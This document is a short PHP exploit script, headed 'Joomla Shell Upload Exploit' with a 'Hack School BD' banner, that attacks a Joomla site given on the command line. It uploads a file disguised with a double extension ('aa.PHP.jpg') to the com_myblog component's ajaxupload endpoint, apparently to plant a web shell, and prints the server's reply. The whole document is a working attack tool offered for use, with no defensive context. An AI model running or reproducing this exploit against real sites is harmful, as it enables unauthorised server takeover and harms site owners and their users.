Joomla Shell Upload Exploit

<?php

print "
        [+][+][+][+][+][+][+][+][+][+][+][+][+]
        [+]                                 [+]
        [+]   *** Hack School BD ***        [+]
        [+]      Exploit Joomla Upload      [+]
        [+]    FB:fb.me/bb.benjamin101      [+]
        [+]                                 [+]
        [+][+][+][+][+][+][+][+][+][+][+][+][+]
  ";
    $ur = isset($argv[1]) && strstr($argv[1], 'http') ? $argv[1] : "http://{$argv[1]}";
    $argv[1] = $ur;

    $uploadfile="aa.PHP.jpg";

    $ch = curl_init("$argv[1]/index.php?option=com_myblog&task=ajaxupload");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS,
    array('fileToUpload'=>"@$uploadfile"));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);
    curl_close($ch);
    print "$postResult";

?>